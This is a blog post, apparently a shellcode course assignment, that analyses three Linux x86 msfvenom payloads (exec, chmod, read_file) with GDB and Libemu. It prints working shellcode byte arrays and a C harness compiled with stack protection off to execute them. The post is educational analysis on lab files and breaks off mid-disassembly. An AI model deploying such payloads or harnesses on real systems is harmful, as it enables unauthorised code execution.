{"id":773,"date":"2020-09-13T12:44:05","date_gmt":"2020-09-13T12:44:05","guid":{"rendered":"http:\/\/mosunit.com\/?p=773"},"modified":"2020-09-14T09:28:37","modified_gmt":"2020-09-14T09:28:37","slug":"analyzing-linux-x86-shellcodes","status":"publish","type":"post","link":"https:\/\/mosunit.com\/?p=773","title":{"rendered":"Analyzing Linux x86 shellcodes"},"content":{"rendered":"\n<p>In the previous posts, we have looked at creating shellcodes. In this post, I will cover analyses of 3 shellcodes generated using <em><a rel=\"noreferrer noopener\" href=\"https:\/\/www.offensive-security.com\/metasploit-unleashed\/msfvenom\/\" target=\"_blank\">msfvenom<\/a><\/em>. All the shellcodes will be based on Linux x86 architecture. Our aim is to understand how these shellcodes are crafted and what happens in the background i.e. analysis of syscalls, instructions, etc.<\/p>\n\n\n\n<p>Let&#8217;s jump directly to the first shellcode.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Linux\/x86\/exec<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Creating a workable exploit<\/h3>\n\n\n\n<p>The first one that we are going to look at is <em>Linux\/x86\/exec<\/em> payload. We will start with creating a workable exploit for this shellcode. The payload is designed to execute a command provided by the user at the time of creation of payload. The following command generates the payload, which executes <em>&#8220;ifconfig&#8221;<\/em><\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">root@kali:~# msfvenom -p linux\/x86\/exec CMD=ifconfig -f C\n[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload\n[-] No arch selected, selecting arch: x86 from the payload\nNo encoder or badchars specified, outputting raw payload\nPayload size: 44 bytes\nFinal size of c file: 209 bytes\nunsigned char buf[] =\n\"\\x6a\\x0b\\x58\\x99\\x52\\x66\\x68\\x2d\\x63\\x89\\xe7\\x68\\x2f\\x73\\x68\"\n\"\\x00\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\xe8\\x09\\x00\\x00\\x00\\x69\"\n\"\\x66\\x63\\x6f\\x6e\\x66\\x69\\x67\\x00\\x57\\x53\\x89\\xe1\\xcd\\x80\";<\/pre>\n\n\n\n<p>Note that we have used <em>-f<\/em> flag to get the output in format which can be directly embedded in our C program. <\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#include &lt;stdio.h>\n#include &lt;string.h>\n\nunsigned char code[] = \\\n\"\\x6a\\x0b\\x58\\x99\\x52\\x66\\x68\\x2d\\x63\\x89\\xe7\\x68\\x2f\\x73\\x68\"\n\"\\x00\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\xe8\\x09\\x00\\x00\\x00\\x69\"\n\"\\x66\\x63\\x6f\\x6e\\x66\\x69\\x67\\x00\\x57\\x53\\x89\\xe1\\xcd\\x80\";\n\nmain()\n\n{\n        printf(\"Executing Shellcode... \\n\");\n        printf(\"******************************************************************************\\n\");\n        int (*ret)() = (int(*)())code;\n        ret();\n}\n<\/pre>\n\n\n\n<p>The final step is to compile this using gcc and then run it. We need to add <code>fno-stack-protector<\/code> to unprotect the stack and <code>execstack<\/code> to make the stack executable.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">root@kali:~\/slae\/assignments\/assignment-5# gcc -fno-stack-protector -z execstack -o linux_x86_exec linux_x86_exec.c\nlinux_x86_exec.c:9:1: warning: return type defaults to \u2018int\u2019 [-Wimplicit-int]\n    9 | main()\n      | ^~~~<\/pre>\n\n\n\n<p>Running the shellcode runs <em>&#8220;ifconfig&#8221;<\/em> on my system. The output is as shown.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"806\" height=\"419\" src=\"https:\/\/mosunit.com\/wp-content\/uploads\/2020\/08\/3.png\" alt=\"\" class=\"wp-image-779\" srcset=\"https:\/\/mosunit.com\/wp-content\/uploads\/2020\/08\/3.png 806w, https:\/\/mosunit.com\/wp-content\/uploads\/2020\/08\/3-300x156.png 300w, https:\/\/mosunit.com\/wp-content\/uploads\/2020\/08\/3-768x399.png 768w\" sizes=\"auto, (max-width: 806px) 100vw, 806px\" \/><\/figure>\n\n\n\n<p>Now that we have a workable exploit for <em>exec<\/em> shellcode, let&#8217;s move on to the analysis part.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">What&#8217;s under the hood !<\/h3>\n\n\n\n<p>There are multiple ways to analyze the shellcode. I am going to use the following approach for this payload:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Explore the payload using <em>Libemu<\/em><\/li><li>Load the program in <em>GDB <\/em> and perform step by step analysis<\/li><\/ol>\n\n\n\n<h4 class=\"wp-block-heading\">Libemu<\/h4>\n\n\n\n<p>Libemu is x86 emulator and is pretty good in analysis of shellcode. For our usage, we can feed in raw input from <em>msfvenom<\/em> to sctest, which is one of the tools in Libemu library. You can research on tool installation, basic usage, etc. I will jump straight to the analysis.<\/p>\n\n\n\n<p>Feeding <em>sctest <\/em>with raw <em>exec<\/em> payload from <em>msfvenom<\/em> gives the following output:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">root@kali:~\/slae\/assignments\/assignment-5# msfvenom -p linux\/x86\/exec CMD=ifconfig -f raw | sctest -v -Ss 1000 |more\n[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload\n[-] No arch selected, selecting arch: x86 from the payload\nNo encoder or badchars specified, outputting raw payload\nPayload size: 44 bytes\n\nverbose = 1\nexecve\nint execve (const char *dateiname=00416fc0={\/bin\/sh}, const char * argv[], const char *envp[]);\ncpu error error accessing 0x00000004 not mapped\n\nstepcount 15\nint execve (\n     const char * dateiname = 0x00416fc0 =>\n           = \"\/bin\/sh\";\n     const char * argv[] = [\n           = 0x00416fb0 =>\n               = 0x00416fc0 =>\n                   = \"\/bin\/sh\";\n           = 0x00416fb4 =>\n               = 0x00416fc8 =>\n                   = \"-c\";\n           = 0x00416fb8 =>\n               = 0x0041701d =>\n                   = \"ifconfig\";\n           = 0x00000000 =>\n             none;\n     ];\n     const char * envp[] = 0x00000000 =>\n         none;\n) =  0;\n<\/pre>\n\n\n\n<p>As you see, the output is quite clean as it is in <em>C type <\/em>format. We can deduce the following from the above output:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>The syscall being invoked in <em>execve<\/em><\/li><li>The program being run is <em>\/bin\/sh<\/em><\/li><li>The argument for this syscall is <em>&#8220;\/bin\/sh -c ifconfig&#8221;<\/em><\/li><\/ul>\n\n\n\n<p>As you see, with just a single command, we know how the program was crafted by msfvenom.<\/p>\n\n\n\n<p>To dig deeper and see this shellcode in action, let&#8217;s load the executable we generated earlier in <em>GDB<\/em>.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">GDB<\/h4>\n\n\n\n<p>GDB will help us step through each instruction and analyse the registers, memory locations, etc. This will provide us deeper understanding. <\/p>\n\n\n\n<p>Using Libemu, we already know that <em>execve <\/em> syscall is being used, The man reference of <em>execve <\/em>syscall is as follows:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">int execve(const char *pathname, char *const argv[], char *const envp[]);<\/pre>\n\n\n\n<p>Based upon information from Linemu analysis, the arguments will map to the following:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Register<\/th><th>Argument<\/th><th>Value<\/th><\/tr><\/thead><tbody><tr><td>EAX<\/td><td>N.A.<\/td><td>0xb<\/td><\/tr><tr><td>EBX<\/td><td>*pathname<\/td><td>\/bin\/sh<\/td><\/tr><tr><td>ECX<\/td><td>argv[]<\/td><td>Address of &#8220;\/bin\/sh -c ifconfig&#8221;<\/td><\/tr><tr><td>EDX<\/td><td>envp[]<\/td><td>0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>Let&#8217;s load the program in GDB and disassemble it. The breakpoint was set at <em>code, <\/em>which is the shellcode.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"799\" height=\"652\" src=\"https:\/\/mosunit.com\/wp-content\/uploads\/2020\/08\/2020-08-18_17-12-20-1.png\" alt=\"\" class=\"wp-image-801\" srcset=\"https:\/\/mosunit.com\/wp-content\/uploads\/2020\/08\/2020-08-18_17-12-20-1.png 799w, https:\/\/mosunit.com\/wp-content\/uploads\/2020\/08\/2020-08-18_17-12-20-1-300x245.png 300w, https:\/\/mosunit.com\/wp-content\/uploads\/2020\/08\/2020-08-18_17-12-20-1-768x627.png 768w\" sizes=\"auto, (max-width: 799px) 100vw, 799px\" \/><\/figure>\n\n\n\n<p>The above disassembly shows the code for our payload. <\/p>\n\n\n\n<p>Let&#8217;s breakup the code for better understanding. The first breakup is as follows:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">   0x00404040 &lt;+0>:     push   0xb\n   0x00404042 &lt;+2>:     pop    eax\n   0x00404043 &lt;+3>:     cdq\n<\/pre>\n\n\n\n<p>The initial instructions push <em>0xb<\/em> onto the stack and then pops the value in EAX. So, EAX is loaded with 0xb, which is the syscall number for <em>execve<\/em>. Then, cdq is used to extend the sign bit of EAX(which is 0) to EDX. So, it sets EDX to NULL. <\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">   0x00404045 &lt;+5>:     pushw  0x632d\n   0x00404049 &lt;+9>:     mov    edi,esp\n<\/pre>\n\n\n\n<p>Next, we push null on the stack, followed by<em> 0x632d<\/em>, which translates to <em>&#8220;-c&#8221;<\/em>. The next instruction moves ESP to EDI. So, EDI points to <em>&#8220;-c&#8221;<\/em> followed by NULL. The following will make this clearer.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">(gdb) break *0x0040404b\nBreakpoint 2 at 0x40404b\n(gdb) c\nContinuing.\n\nBreakpoint 2, 0x0040404b in code ()\n(gdb) disassemble $eip,+10\nDump of assembler code from 0x40404b to 0x404055:\n=> 0x0040404b &lt;code+11>:        push   0x68732f\n   0x00404050 &lt;code+16>:        push   0x6e69622f\nEnd of assembler dump.\n(gdb) print \/x $edi\n$1 = 0xbffff156\n(gdb) x\/s 0xbffff156\n0xbffff156:     \"-c\"\n\n<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">   0x0040404b &lt;+11>:    push   0x68732f\n   0x00404050 &lt;+16>:    push   0x6e69622f\n   0x00404055 &lt;+21>:    mov    ebx,esp\n   0x00404057 &lt;+23>:    push   edx<\/pre>\n\n\n\n<p>The next two instructions push &#8220;\/bin\/sh&#8221; onto the stack. Then ESP is moved to EBP (*pathname), which now points to &#8220;\/bin\/sh&#8221; followed by NULL.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">Dump of assembler code from 0x40404b to 0x404055:\n=> 0x0040404b &lt;code+11>:        push   0x68732f\n   0x00404050 &lt;code+16>:        push   0x6e69622f\nEnd of assembler dump.\n(gdb) stepi\n0x00404050 in code ()\n(gdb) disassemble $eip,+10\nDump of assembler code from 0x404050 to 0x40405a:\n=> 0x00404050 &lt;code+16>:        push   0x6e69622f\n   0x00404055 &lt;code+21>:        mov    ebx,esp\n   0x00404057 &lt;code+23>:        push   edx\n   0x00404058 &lt;code+24>:        call   0x404066 &lt;code+38>\nEnd of assembler dump.\n(gdb) print \/x $esp\n$2 = 0xbffff152\n(gdb) x\/s 0xbffff152\n0xbffff152:     \"\/sh\"\n(gdb) stepi\n0x00404055 in code ()\n(gdb) print \/x $esp\n$3 = 0xbffff14e\n(gdb) x\/s 0xbffff14e\n0xbffff14e:     \"\/bin\/sh\"\n                        <\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">0x00404058 &lt;+24>:    call   0x404066 &lt;code+38>\n0x0040405d &lt;+29>:    imul   esp,DWORD PTR [esi+0x63],0x69666e6f<\/pre>\n\n\n\n<p>The next bit is interesting. We encounter a call instruction. The call instruction pushes the address of next instruction to be executed on the stack and then jumps to the defined address. This means <em>0x0040405d <\/em>should be pushed on the stack. This is verified below. Also, upon examining this memory address, we can see that this is the actual command of our payload &#8211; ifconfig.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">(gdb) stepi\n(gdb) disassemble $eip,+10\nDump of assembler code from 0x404066 to 0x404070:\n=> 0x00404066 &lt;code+38>:        push   edi\n   0x00404067 &lt;code+39>:        push   ebx\n   0x00404068 &lt;code+40>:        mov    ecx,esp\n   0x0040406a &lt;code+42>:        int    0x80\n   0x0040406c &lt;code+44>:        add    BYTE PTR [eax],al\n   0x0040406e:  add    BYTE PTR [eax],al\nEnd of assembler dump.\n(gdb) print \/x $esp\n$5 = 0xbffff146\n(gdb) x\/w 0xbffff146\n0xbffff146:     0x0040405d\n(gdb) x\/s 0x0040405d\n0x40405d &lt;code+29>:     \"ifconfig\"\n<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">=> 0x00404066 &lt;code+38>:        push   edi\n   0x00404067 &lt;code+39>:        push   ebx\n   0x00404068 &lt;code+40>:        mov    ecx,esp\n   0x0040406a &lt;code+42>:        int    0x80\n<\/pre>\n\n\n\n<p>The next instructions push EDI on the stack, which points to &#8220;-c&#8221; and then ebx, which points to &#8220;\/bin\/sh&#8221;. ECX is then loaded with ESP. So, to conclude, ECX(argv) now points to &#8220;\/bin\/sh -c ifconfig&#8221;<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">(gdb) disassemble $eip,+10\nDump of assembler code from 0x404066 to 0x404070:\n=> 0x00404066 &lt;code+38>:        push   edi\n   0x00404067 &lt;code+39>:        push   ebx\n   0x00404068 &lt;code+40>:        mov    ecx,esp\n   0x0040406a &lt;code+42>:        int    0x80\n   0x0040406c &lt;code+44>:        add    BYTE PTR [eax],al\n   0x0040406e:  add    BYTE PTR [eax],al\nEnd of assembler dump.\n(gdb) break *0x0040406a\nBreakpoint 3 at 0x40406a\n(gdb) c\nContinuing.\n\nBreakpoint 3, 0x0040406a in code ()\n(gdb) disassemble $eip,+5\nDump of assembler code from 0x40406a to 0x40406f:\n=> 0x0040406a &lt;code+42>:        int    0x80\n   0x0040406c &lt;code+44>:        add    BYTE PTR [eax],al\n   0x0040406e:  add    BYTE PTR [eax],al\nEnd of assembler dump.\n(gdb) print \/x $ecx\n$6 = 0xbffff13e\n(gdb) x\/4w 0xbffff13e\n0xbffff13e:     0xbffff14e      0xbffff156      0x0040405d      0x00000000\n(gdb) x\/s 0xbffff14e\n0xbffff14e:     \"\/bin\/sh\"\n(gdb) x\/s 0xbffff156\n0xbffff156:     \"-c\"\n(gdb) x\/s 0x0040405d\n0x40405d &lt;code+29>:     \"ifconfig\"<\/pre>\n\n\n\n<p>Continuing the program runs ifconfig. This concludes analysis of <em>Linux\/x86\/exec<\/em> shellcode.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Linux\/x86\/chmod<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Creating a workable exploit<\/h3>\n\n\n\n<p>The next up for analysis is <em>linux\/x86\/chmod<\/em>. This payload is aimed to run <em>chmod<\/em> on specified file with specified mode.  We will use msfvenom to create a payload to change the mode to <em>0777<\/em> on file <em>\/root\/slae\/assignments\/assignment-5\/permtest.txt<\/em><\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">root@kali:~# msfvenom -p linux\/x86\/chmod FILE=\/root\/slae\/assignments\/assignment-5\/permtest.txt MODE=0777 -f C\n[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload\n[-] No arch selected, selecting arch: x86 from the payload\nNo encoder or badchars specified, outputting raw payload\nPayload size: 73 bytes\nFinal size of c file: 331 bytes\nunsigned char buf[] =\n\"\\x99\\x6a\\x0f\\x58\\x52\\xe8\\x31\\x00\\x00\\x00\\x2f\\x72\\x6f\\x6f\\x74\"\n\"\\x2f\\x73\\x6c\\x61\\x65\\x2f\\x61\\x73\\x73\\x69\\x67\\x6e\\x6d\\x65\\x6e\"\n\"\\x74\\x73\\x2f\\x61\\x73\\x73\\x69\\x67\\x6e\\x6d\\x65\\x6e\\x74\\x2d\\x35\"\n\"\\x2f\\x70\\x65\\x72\\x6d\\x74\\x65\\x73\\x74\\x2e\\x74\\x78\\x74\\x00\\x5b\"\n\"\\x68\\xff\\x01\\x00\\x00\\x59\\xcd\\x80\\x6a\\x01\\x58\\xcd\\x80\";\n<\/pre>\n\n\n\n<p>Embedding the above shellcode in our C skeleton exploit and running it (using the same steps as earlier), we see that the permissions of the file have been modified.  <\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">root@kali:~\/slae\/assignments\/assignment-5# ls -l permtest.txt\n-rw-r--r-- 1 root root 20 Sep 12 07:16 permtest.txt\nroot@kali:~\/slae\/assignments\/assignment-5# .\/linux_x86_chmod\nShellcode length: 7\nroot@kali:~\/slae\/assignments\/assignment-5# ls -l permtest.txt\n-rwxrwxrwx 1 root root 20 Sep 12 07:16 permtest.txt\n<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">What&#8217;s under the hood !<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">GDB<\/h4>\n\n\n\n<p>For this exploit, we will directly jump into GDB for analysis. Hooking the program and breaking at code brings us to the following screen:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"708\" height=\"879\" src=\"https:\/\/mosunit.com\/wp-content\/uploads\/2020\/09\/2020-09-12_23-14-14.png\" alt=\"\" class=\"wp-image-826\" srcset=\"https:\/\/mosunit.com\/wp-content\/uploads\/2020\/09\/2020-09-12_23-14-14.png 708w, https:\/\/mosunit.com\/wp-content\/uploads\/2020\/09\/2020-09-12_23-14-14-242x300.png 242w\" sizes=\"auto, (max-width: 708px) 100vw, 708px\" \/><\/figure>\n\n\n\n<p>Let&#8217;s breakup this code and walk through one section at a time. <\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">Dump of assembler code for function code:\n=> 0x00404040 &lt;+0>:     cdq\n   0x00404041 &lt;+1>:     push   0xf\n   0x00404043 &lt;+3>:     pop    eax\n   0x00404044 &lt;+4>:     push   edx<\/pre>\n\n\n\n<p>The code starts with <em>cdq<\/em> instruction that sets EDX to NULL. Then 0xf is moved to EAX using push and pop instructions. This confirms that the syscall being invoked is <em>chmod. <\/em>The man reference can now be queried to know the parameters needed for this syscall.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">int chmod(const char *pathname, mode_t mode);<\/pre>\n\n\n\n<p>Pathname points to the file on which changes need to be made. Mode specifies the new bit mask to be set for the file. <\/p>\n\n\n\n<p>Let&#8217;s step into the next section of the instruction.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">0x00404045 &lt;+5>:     call   0x40407b &lt;code+59>\n0x0040404a &lt;+10>:    das\n<\/pre>\n\n\n\n<p>The next instruction is a call instruction. This means that the address of the next instruction to be executed will be pushed on the stack. Though this seems gibberish data, querying it confirms that it holds the path of the file on which changes need to be made.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">(gdb) x\/s 0x0040404a\n0x40404a &lt;code+10>:     \"\/root\/slae\/assignments\/assignment-5\/permtest.txt\"<\/pre>\n\n\n\n<p>Let&#8217;s step into the next instruction<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">   0x0040407b &lt;+59>:    pop    ebx\n   0x0040407c &lt;+60>:    push   0x1ff\n   0x00404081 &lt;+65>:    pop    ecx\n   0x00404082 &lt;+66>:    int    0x80\n<\/pre>\n\n\n\n<p>The next instruction pops the top of stack (which has the file pathname) in EBX. Then ECX is populated with 0x1ff using push and pop instructions. 0x1ff converts to octal <em>777<\/em>, which is the modified file permissions. Post this, the syscall is executed.<\/p>\n\n\n\n<p>The following summarizes the value in registers EAX, EBX and ECX<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">(gdb) disassemble $eip,+10\nDump of assembler code from 0x404082 to 0x40408c:\n=> 0x00404082 &lt;code+66>:        int    0x80\n   0x00404084 &lt;code+68>:        push   0x1\n   0x00404086 &lt;code+70>:        pop    eax\n   0x00404087 &lt;code+71>:        int    0x80\n   0x00404089 &lt;code+73>:        add    BYTE PTR [eax],al\n   0x0040408b:  add    BYTE PTR [eax],al\nEnd of assembler dump.\n(gdb) print \/x $eax\n$1 = 0xf\n(gdb) print \/x $ebx\n$2 = 0x40404a\n(gdb) x\/s 0x40404a\n0x40404a &lt;code+10>:     \"\/root\/slae\/assignments\/assignment-5\/permtest.txt\"\n(gdb) print \/x $ecx\n$3 = 0x1ff\n<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Linux\/x86\/read_file<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Creating a workable exploit<\/h3>\n\n\n\n<p>The third and the last payload on which we will perform analysis is <em>linux\/x86\/read_file<\/em>. This payload when executed reads a file from the file system and writes it to the specified file descriptor. <\/p>\n\n\n\n<p>In our case, let&#8217;s create shellcode to read a file on the local system(\/root\/slae\/assignments\/assignment-5\/readfile.txt) and print it out on the screen(FD=1).<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">root@kali:~# msfvenom -p linux\/x86\/read_file FD=1 PATH=\/root\/slae\/assignments\/assignment-5\/readfile.txt -f C\n[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload\n[-] No arch selected, selecting arch: x86 from the payload\nNo encoder or badchars specified, outputting raw payload\nPayload size: 110 bytes\nFinal size of c file: 488 bytes\nunsigned char buf[] =\n\"\\xeb\\x36\\xb8\\x05\\x00\\x00\\x00\\x5b\\x31\\xc9\\xcd\\x80\\x89\\xc3\\xb8\"\n\"\\x03\\x00\\x00\\x00\\x89\\xe7\\x89\\xf9\\xba\\x00\\x10\\x00\\x00\\xcd\\x80\"\n\"\\x89\\xc2\\xb8\\x04\\x00\\x00\\x00\\xbb\\x01\\x00\\x00\\x00\\xcd\\x80\\xb8\"\n\"\\x01\\x00\\x00\\x00\\xbb\\x00\\x00\\x00\\x00\\xcd\\x80\\xe8\\xc5\\xff\\xff\"\n\"\\xff\\x2f\\x72\\x6f\\x6f\\x74\\x2f\\x73\\x6c\\x61\\x65\\x2f\\x61\\x73\\x73\"\n\"\\x69\\x67\\x6e\\x6d\\x65\\x6e\\x74\\x73\\x2f\\x61\\x73\\x73\\x69\\x67\\x6e\"\n\"\\x6d\\x65\\x6e\\x74\\x2d\\x35\\x2f\\x72\\x65\\x61\\x64\\x66\\x69\\x6c\\x65\"\n\"\\x2e\\x74\\x78\\x74\\x00\";<\/pre>\n\n\n\n<p>Following the same steps as we did in the first shellcode, we need to embed this in our C skeleton exploit code and then compile it. Once run, you can see that the file is read and the output is printed on the screen.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1000\" height=\"61\" src=\"https:\/\/mosunit.com\/wp-content\/uploads\/2020\/09\/2020-09-13_16-54-59.png\" alt=\"\" class=\"wp-image-830\" srcset=\"https:\/\/mosunit.com\/wp-content\/uploads\/2020\/09\/2020-09-13_16-54-59.png 1000w, https:\/\/mosunit.com\/wp-content\/uploads\/2020\/09\/2020-09-13_16-54-59-300x18.png 300w, https:\/\/mosunit.com\/wp-content\/uploads\/2020\/09\/2020-09-13_16-54-59-768x47.png 768w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/figure>\n\n\n\n<p>Now that we have a workable exploit, let&#8217;s move to the analysis part.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">What&#8217;s under the hood !<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">GDB<\/h4>\n\n\n\n<p>To start with, the program was hooked with GDB and then a breakpoint was set at <em>code, <\/em>which is the actual shellcode in our exploit. The complete disassembly is shown below:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">(gdb) break *&amp;code\nBreakpoint 1 at 0x4040\n(gdb) run\nStarting program: \/root\/slae\/assignments\/assignment-5\/linux_x86_read_file\nShellcode length: 4\n\nBreakpoint 1, 0x00404040 in code ()\n(gdb) disassemble\nDump of assembler code for function code:\n=> 0x00404040 &lt;+0>:     jmp    0x404078 &lt;code+56>\n   0x00404042 &lt;+2>:     mov    eax,0x5\n   0x00404047 &lt;+7>:     pop    ebx\n   0x00404048 &lt;+8>:     xor    ecx,ecx\n   0x0040404a &lt;+10>:    int    0x80\n   0x0040404c &lt;+12>:    mov    ebx,eax\n   0x0040404e &lt;+14>:    mov    eax,0x3\n   0x00404053 &lt;+19>:    mov    edi,esp\n   0x00404055 &lt;+21>:    mov    ecx,edi\n   0x00404057 &lt;+23>:    mov    edx,0x1000\n   0x0040405c &lt;+28>:    int    0x80\n   0x0040405e &lt;+30>:    mov    edx,eax\n   0x00404060 &lt;+32>:    mov    eax,0x4\n   0x00404065 &lt;+37>:    mov    ebx,0x1\n   0x0040406a &lt;+42>:    int    0x80\n   0x0040406c &lt;+44>:    mov    eax,0x1\n   0x00404071 &lt;+49>:    mov    ebx,0x0\n   0x00404076 &lt;+54>:    int    0x80\n   0x00404078 &lt;+56>:    call   0x404042 &lt;code+2>\n   0x0040407d &lt;+61>:  